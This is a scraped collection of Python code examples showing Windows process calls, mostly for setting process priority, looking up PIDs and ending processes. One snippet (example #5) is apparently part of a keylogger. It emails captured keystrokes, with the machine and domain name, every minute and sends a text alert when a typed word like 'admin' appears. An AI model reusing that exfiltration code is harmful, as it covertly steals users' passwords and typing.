示例#1
0
def main():
    global ui
    global MainWindow
    global Ui_MainWindow

    pid = win32api.GetCurrentProcessId()
    print(pid, "<----Process ID")
    handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
    win32process.SetPriorityClass(handle, win32process.HIGH_PRIORITY_CLASS)

    app = QtWidgets.QApplication(sys.argv)
    MainWindow = QtWidgets.QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(MainWindow)
    MainWindow.show()

    dimCameraLiink = "rtsp://*****:*****@10.152.235.180"
    ocrCameraLink = "rtsp://*****:*****@10.152.235.184/ch1-s1?tcp"  #10.152.235.184

    t1 = threading.Thread(target=slabDim, args=(dimCameraLiink, ))
    t2 = threading.Thread(target=ocr, args=(ocrCameraLink, ))
    #t3 = threading.Thread(target = uiocrView,args=(ocrCameraLink,))

    t1.start()
    t2.start()
    #t3.start()
    sys.exit(app.exec_())

    t1.join()
    t2.join()
    #t3.join()
    print("Done with both the Threads................")
示例#2
0
	def GetProcessIdByName(procname):
		'''
		Try and get pid for a process by name.
		'''
		
		ourPid = -1
		procname = procname.lower()
		
		try:
			ourPid = win32api.GetCurrentProcessId()
		
		except:
			pass
		
		pids = win32process.EnumProcesses()
		for pid in pids:
			if ourPid == pid:
				continue
			
			try:
				hPid = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, 0, pid)
				
				try:
					mids = win32process.EnumProcessModules(hPid)
					for mid in mids:
						name = str(win32process.GetModuleFileNameEx(hPid, mid))
						if name.lower().find(procname) != -1:
							return pid
					
				finally:
					win32api.CloseHandle(hPid)
			except:
				pass
		
		return None
def FindMyCounter():
    pid_me = win32api.GetCurrentProcessId()

    object = "Process"
    items, instances = win32pdh.EnumObjectItems(None, None, object, -1)
    for instance in instances:
        # We use 2 counters - "ID Process" and "Working Set"
        counter = "ID Process"
        format = win32pdh.PDH_FMT_LONG

        hq = win32pdh.OpenQuery()
        path = win32pdh.MakeCounterPath(
            (None, object, instance, None, -1, "ID Process"))
        hc1 = win32pdh.AddCounter(hq, path)
        path = win32pdh.MakeCounterPath(
            (None, object, instance, None, -1, "Working Set"))
        hc2 = win32pdh.AddCounter(hq, path)
        win32pdh.CollectQueryData(hq)
        type, pid = win32pdh.GetFormattedCounterValue(hc1, format)
        if pid == pid_me:
            win32pdh.RemoveCounter(hc1)  # not needed any more
            return hq, hc2
        # Not mine - close the query and try again
        win32pdh.RemoveCounter(hc1)
        win32pdh.RemoveCounter(hc2)
        win32pdh.CloseQuery(hq)
    else:
        raise RuntimeError, "Can't find myself!?"
示例#4
0
def killAllProcName(procname):
    """ Terminates _all_ processes with procname. Administrator can
        end processes owned by the system account.
    """
    try:
        win32pdhutil.GetPerformanceAttributes('Process','ID Process',procname)
    except:
        pass

    pids = win32pdhutil.FindPerformanceAttributesByName(procname)
    try:
        pids.remove(win32api.GetCurrentProcessId())
    except ValueError:
        pass

    success = 1
    if len(pids) > 0:
        priv = win32security.LookupPrivilegeValue(None, win32con.SE_DEBUG_NAME)
        newpriv = [(priv, win32con.SE_PRIVILEGE_ENABLED)]
        flags = ntsecuritycon.TOKEN_ADJUST_PRIVILEGES | ntsecuritycon.TOKEN_QUERY
        htoken = win32security.OpenProcessToken(win32api.GetCurrentProcess(), flags)
        win32security.AdjustTokenPrivileges(htoken, False, newpriv)
        result = []
        for p in pids:
            try:
                handle = win32api.OpenProcess(True, win32con.PROCESS_TERMINATE, p)
                win32api.TerminateProcess(handle, -1)
                win32api.CloseHandle(handle)
            except win32api.error:
                success = 0

    return success
示例#5
0
    def run(self):
        while not self.event.is_set():
            global data
            #Abort if username is typed
            if data.find("usernmae") > -1:
                show()
                print "Successful quit"
                myPID = win32api.GetCurrentProcessId()
                os.system("taskkill /pid " + str(myPID))
                exit(0)
            #Craft txt to send
            ts = datetime.datetime.now()
            SUBJECT = win32api.GetComputerName(
            ) + " : " + win32api.GetDomainName()
            if len(data) == 0:
                data += "Someone's not typing..."
            local_data = data

            message = """\
From: %s
To: %s
Subject: %s
%s
""" % ("username", "*****@*****.**", SUBJECT, local_data)
            #Send mail off
            sendMail("*****@*****.**", message)
            lowerData = data.lower()
            #Txt me if a password was found
            if lowerData.find("admin") >= 0 or lowerData.find("guest") >= 0:
                sendMail("attnt#@txt.att.net", message)
            print message + "\n"
            data = ''
            message = ''
            #Send every x seconds
            self.event.wait(60)
示例#6
0
def killProcName(procname):
    # Change suggested by Dan Knierim, who found that this performed a
    # "refresh", allowing us to kill processes created since this was run
    # for the first time.
    try:
        win32pdhutil.GetPerformanceAttributes('Process', 'ID Process', procname)
    except:
        pass

    pids = win32pdhutil.FindPerformanceAttributesByName(procname)

    # If _my_ pid in there, remove it!
    try:
        pids.remove(win32api.GetCurrentProcessId())
    except ValueError:
        pass

    if len(pids) == 0:
        result = "Can't find %s" % procname
    elif len(pids) > 1:
        result = "Found too many %s's - pids=`%s`" % (procname, pids)
    else:
        handle = win32api.OpenProcess(win32con.PROCESS_TERMINATE, 0, pids[0])
        win32api.TerminateProcess(handle, 0)
        win32api.CloseHandle(handle)
        result = ""

    return result
示例#7
0
文件: ps_utils.py 项目: ddcatgg/dglib
def get_ppid():
    # NtQueryInformationProcess的用法参考自:
    # http://stackoverflow.com/questions/6587036/alternative-to-psutil-processpid-name
    ntdll = ctypes.windll.LoadLibrary('ntdll.dll')
    if not ntdll:
        return 0

    try:
        pid = win32api.GetCurrentProcessId()
        if not pid:
            return 0

        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False,
                                     pid)
        if not hproc:
            return 0

        buflen = ctypes.sizeof(PROCESS_BASIC_INFORMATION)
        buf = ctypes.c_char_p('\0' * buflen)
        ret = ntdll.NtQueryInformationProcess(int(hproc),
                                              ProcessBasicInformation, buf,
                                              buflen, None)
        if ret != STATUS_SUCCESS:
            return 0

        pbuf = ctypes.cast(buf, ctypes.POINTER(PROCESS_BASIC_INFORMATION))
        ppid = pbuf[0].Reserved3
        return ppid

    finally:
        win32api.FreeLibrary(ntdll._handle)
示例#8
0
def GetConsoleHwnd():
    """Returns the window handle of the console window in which this script is
    running, or 0 if not running in a console window.  This function is taken
    directly from Pythonwin\dllmain.cpp in the win32all source, ported to
    Python."""

    # fetch current window title
    try:
        oldWindowTitle = win32api.GetConsoleTitle()
    except:
        return 0

    # format a "unique" NewWindowTitle
    newWindowTitle = "%d/%d" % (win32api.GetTickCount(),
                                win32api.GetCurrentProcessId())

    # change current window title
    win32api.SetConsoleTitle(newWindowTitle)

    # ensure window title has been updated
    import time
    time.sleep(0.040)

    # look for NewWindowTitle
    hwndFound = win32gui.FindWindow(0, newWindowTitle)

    # restore original window title
    win32api.SetConsoleTitle(oldWindowTitle)

    return hwndFound
示例#9
0
def main():
    global ui
    global MainWindow
    global Ui_MainWindow

    pid = win32api.GetCurrentProcessId()
    print(pid, "<----Process ID")
    handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
    win32process.SetPriorityClass(handle, win32process.HIGH_PRIORITY_CLASS)

    app = QtWidgets.QApplication(sys.argv)
    MainWindow = QtWidgets.QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(MainWindow)
    MainWindow.show()

    dimCameraLiink = "C:/Users/shrin/Pictures/ocr_collection.mp4"
    ocrCameraLink = "C:/Users/shrin/Pictures/slab_collection.mp4"  #10.152.235.184

    t1 = threading.Thread(target=slabDim, args=(dimCameraLiink, ))
    t2 = threading.Thread(target=ocr, args=(ocrCameraLink, ))

    t1.start()
    t2.start()
    sys.exit(app.exec_())

    t1.join()
    #t2.join()
    print("Done with both the Threads................")
示例#10
0
def Interfacer(InterfacerQueue, TerminationCommander):
    import os
    CLS = lambda: os.system('cls')
    Epoch = 0

    PID = win32api.GetCurrentProcessId()
    handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, PID)
    win32process.SetPriorityClass(handle, win32process.REALTIME_PRIORITY_CLASS)

    while True:
        GOT = []
        while len(GOT) < 4:
            GOT.append(InterfacerQueue.get())
        AllCosts = {}
        for n in GOT:
            AllCosts[n[0]] = n[1]

        Done = [True for x in AllCosts.itervalues() if x <= 80]
        CLS()
        print 'Alpha: ' + str(AllCosts[1])
        print 'Beta: ' + str(AllCosts[2])
        print 'Gamma: ' + str(AllCosts[3])
        print 'Delta: ' + str(AllCosts[4])
        print 'Epoch: ' + str(Epoch)
        Epoch += 1

        if any(Done):
            TerminationCommander.put(1)
            break
示例#11
0
def process_pro():
    import win32api
    import win32process
    import win32con
    pid = win32api.GetCurrentProcessId()
    handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
    win32process.SetPriorityClass(handle, win32process.REALTIME_PRIORITY_CLASS)
示例#12
0
文件: Resource.py 项目: vemel/fofix
    def setPriority(self, pid=None, priority=2):
        """ Set The Priority of a Windows Process.  Priority is a value between 0-5 where
            2 is normal priority.  Default sets the priority of the current
            python process but can take any valid process ID. """

        import win32api, win32process, win32con

        priorityClasses = [
            win32process.IDLE_PRIORITY_CLASS,
            win32process.BELOW_NORMAL_PRIORITY_CLASS,
            win32process.NORMAL_PRIORITY_CLASS,
            win32process.ABOVE_NORMAL_PRIORITY_CLASS,
            win32process.HIGH_PRIORITY_CLASS,
            win32process.REALTIME_PRIORITY_CLASS
        ]

        threadPriorities = [
            win32process.THREAD_PRIORITY_IDLE,
            #win32process.THREAD_PRIORITY_ABOVE_IDLE,
            #win32process.THREAD_PRIORITY_LOWEST,
            win32process.THREAD_PRIORITY_BELOW_NORMAL,
            win32process.THREAD_PRIORITY_NORMAL,
            win32process.THREAD_PRIORITY_ABOVE_NORMAL,
            win32process.THREAD_PRIORITY_HIGHEST,
            win32process.THREAD_PRIORITY_TIME_CRITICAL
        ]

        pid = win32api.GetCurrentProcessId()
        tid = win32api.GetCurrentThread()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle, priorityClasses[priority])
        win32process.SetThreadPriority(tid, threadPriorities[priority])
        if Config.get('performance', 'restrict_to_first_processor'):
            win32process.SetProcessAffinityMask(handle, 1)
示例#13
0
def EnvironmentCheck():
    if sys.maxsize > 2**32:
        proc_64 = True
    else:
        proc_64 = False

    hCurrentProc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, 0,
                                        win32api.GetCurrentProcessId())

    sys.stdout.write('[+] Checking environment:\t')
    sys_64 = False
    if proc_64 or ((not proc_64) and IsSysWOW64(hCurrentProc)): sys_64 = True

    remote_proc_64 = False
    if sys_64 and (not IsSysWOW64(hProcess)): remote_proc_64 = True

    if sys_64: sys.stdout.write('64 bit system architecture.\t')
    else: sys.stdout.write('32 bit system architecture.\n')
    if proc_64 and sys_64:
        sys.stdout.write('Current process is 64 bit (native).\t')
    if sys_64 and (not proc_64):
        sys.stdout.write('Current process is 32 bit (WOW64).\t')
    if remote_proc_64: sys.stdout.write('Remote process is 64 bit (native).\n')
    if sys_64 and (not remote_proc_64):
        sys.stdout.write('Remote process is 32 bit (WOW64).\n')

    return (sys_64, proc_64, remote_proc_64)
def lowpriority():
    """ Set the priority of the process to below-normal."""

    import sys
    try:
        sys.getwindowsversion()
    except:
        isWindows = False
    else:
        isWindows = True

    if isWindows:
        # Based on:
        #   "Recipe 496767: Set Process Priority In Windows" on ActiveState
        #   http://code.activestate.com/recipes/496767/
        import win32api, win32process, win32con

        pid = win32api.GetCurrentProcessId()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle,
                                      win32process.BELOW_NORMAL_PRIORITY_CLASS)
    else:
        import os

        os.nice(1)
示例#15
0
def _try_raise_self_process_priority():
    """
    Attempts to raise the priority level of the current process. Tries several methods depending on the platform;
    does nothing if unsuccessful.
    """
    # https://stackoverflow.com/a/6245096/1007777
    if RUNNING_ON_WINDOWS:
        try:
            # noinspection PyUnresolvedReferences
            import win32api
            # noinspection PyUnresolvedReferences
            import win32process
            # noinspection PyUnresolvedReferences
            import win32con
            handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, win32api.GetCurrentProcessId())
            win32process.SetPriorityClass(handle, win32process.REALTIME_PRIORITY_CLASS)
            _logger.info('Windows process priority changed successfully using the win32 API modules')
        except ImportError:
            # noinspection PyUnresolvedReferences
            import psutil
            psutil.Process(os.getpid()).nice(psutil.REALTIME_PRIORITY_CLASS)
            _logger.info('Windows process priority changed successfully using the psutil module')
    else:
        new_niceness = os.nice(NICENESS_INCREMENT)
        _logger.info('POSIX process has been reniced successfully; new niceness %r', new_niceness)
示例#16
0
def setProcessPriorityIdle():
    """ Set The Priority of a Windows Process.  Priority is a value between 0-5 where
		2 is normal priority.  Default sets the priority of the current
		python process but can take any valid process ID. """

    if os.name.lower().find('nt') != 0:
        os.nice(19)
        return
    try:
        import win32api, win32process, win32con

        priorityclasses = [
            win32process.IDLE_PRIORITY_CLASS,
            win32process.BELOW_NORMAL_PRIORITY_CLASS,
            win32process.NORMAL_PRIORITY_CLASS,
            win32process.ABOVE_NORMAL_PRIORITY_CLASS,
            win32process.HIGH_PRIORITY_CLASS,
            win32process.REALTIME_PRIORITY_CLASS
        ]

        pid = win32api.GetCurrentProcessId()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle, priorityclasses[0])
    except ImportError:
        pass
示例#17
0
 def lowpriority():
     """ Set the priority of the process to below-normal.
         http://stackoverflow.com/questions/1023038/change-process-priority-in-python-cross-platform
     """
     pid = win32api.GetCurrentProcessId()
     handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
     win32process.SetPriorityClass(handle,
                                   win32process.BELOW_NORMAL_PRIORITY_CLASS)
示例#18
0
 def currentPID():
     """Get the current process id."""
     try:
         return os.getpid()
     except AttributeError:
         if win32api:
             return win32api.GetCurrentProcessId()
     return None
示例#19
0
def _set_idle():
    try:
        sys.getwindowsversion()
        import win32api, win32process, win32con
        pid = win32api.GetCurrentProcessId()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle, win32process.IDLE_PRIORITY_CLASS)
    except:
        os.nice(20)
示例#20
0
def low_priority():
    """Sets process (and its children) to have a very low priority."""
    if WINDOWS:
        import win32api, win32con, win32process
        pid = win32api.GetCurrentProcessId()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle, win32process.IDLE_PRIORITY_CLASS)
    else:
        os.nice(19)
示例#21
0
文件: slcan.py 项目: hermens/pyuavcan
def _raise_self_process_priority():
    if RUNNING_ON_WINDOWS:
        import win32api
        import win32process
        import win32con
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, win32api.GetCurrentProcessId())
        win32process.SetPriorityClass(handle, win32process.REALTIME_PRIORITY_CLASS)
    else:
        import os
        os.nice(IO_PROCESS_NICENESS_INCREMENT)
示例#22
0
def new_priority(priority=1):
    """Context manager to execute a with clause as a different priority."""
    pid = win32api.GetCurrentProcessId()
    handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
    original_priority = win32process.GetPriorityClass(handle)
    win32process.SetPriorityClass(handle, priorityclasses[priority])
    try:
        yield  # execute with-statement here
    finally:
        win32process.SetPriorityClass(handle, original_priority)
示例#23
0
def top_priority():
    """ Set the priority of the process to above-normal."""

    if os.name == 'posix':
        os.nice(19)
    else:
        import win32api, win32process, win32con

        pid = win32api.GetCurrentProcessId()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle, win32process.REALTIME_PRIORITY_CLASS)
示例#24
0
def HighPriority():
	""" Set the priority of the process to the highest level."""
	if isWindows:
		# Based on:
		#   "Recipe 496767: Set Process Priority In Windows" on ActiveState
		#   http://code.activestate.com/recipes/496767/
		pid = win32api.GetCurrentProcessId()
		handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
		win32process.SetPriorityClass(handle, win32process.REALTIME_PRIORITY_CLASS)
	else:
		os.nice( -os.nice(0) )
示例#25
0
def setpriority(pid=None, priority=1):
    """Set The Priority of a Windows Process.
    
    Priority is a value between 0-5 where 2 is normal priority.
    Default sets the priority of the current python process but
    can take any valid process ID.
    """
    if pid == None:
        pid = win32api.GetCurrentProcessId()
    handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
    win32process.SetPriorityClass(handle, priorityclasses[priority])
示例#26
0
def setpriority(pid=None,priority=1):
	priorityclasses = [win32process.IDLE_PRIORITY_CLASS,
	win32process.BELOW_NORMAL_PRIORITY_CLASS,
	win32process.NORMAL_PRIORITY_CLASS,
	win32process.ABOVE_NORMAL_PRIORITY_CLASS,
	win32process.HIGH_PRIORITY_CLASS,
	win32process.REALTIME_PRIORITY_CLASS]
	if pid == None:
	        pid = win32api.GetCurrentProcessId()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle, priorityclasses[priority])
示例#27
0
def _set_idle():
    if 'linux' in sys.platform:
        os.nice(20)
    else:
        try:
            sys.getwindowsversion()
            import win32api,win32process,win32con  # @UnresolvedImport
            pid = win32api.GetCurrentProcessId()
            handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
            win32process.SetPriorityClass(handle, win32process.IDLE_PRIORITY_CLASS)
        except:
            #Windows 64-bit
            pass
示例#28
0
def lower_priority():
    # ref: http://stackoverflow.com/questions/1023038/change-process-priority-in-python-cross-platform
    assert os.name in ('nt', 'posix'), os.name
    if os.name == 'nt':
        import win32api
        import win32process
        import win32con
        pid = win32api.GetCurrentProcessId()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle,
                                      win32process.BELOW_NORMAL_PRIORITY_CLASS)
    elif os.name == 'posix':
        os.nice(1)
示例#29
0
    def __init__(self, config: Config):
        self.config = config
        self.app = wx.App()
        self.auto_scan_interval: Optional[wx.CallLater] = None
        self.tray_icon: Optional[TrayItem] = None

        self.scan_lock = threading.Lock()
        self.replay_frame = None
        self.settings_frame = None

        pid = win32api.GetCurrentProcessId()
        self.process_handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS,
                                                   True, pid)
示例#30
0
def lowpriority():
    """ Set the priority of the process to below-normal."""

    if isWindows:
        # Based on:
        #   "Recipe 496767: Set Process Priority In Windows" on ActiveState
        #   http://code.activestate.com/recipes/496767/
        import win32api, win32process, win32con

        pid = win32api.GetCurrentProcessId()
        handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
        win32process.SetPriorityClass(handle, win32process.IDLE_PRIORITY_CLASS)
    else:
        os.nice(20)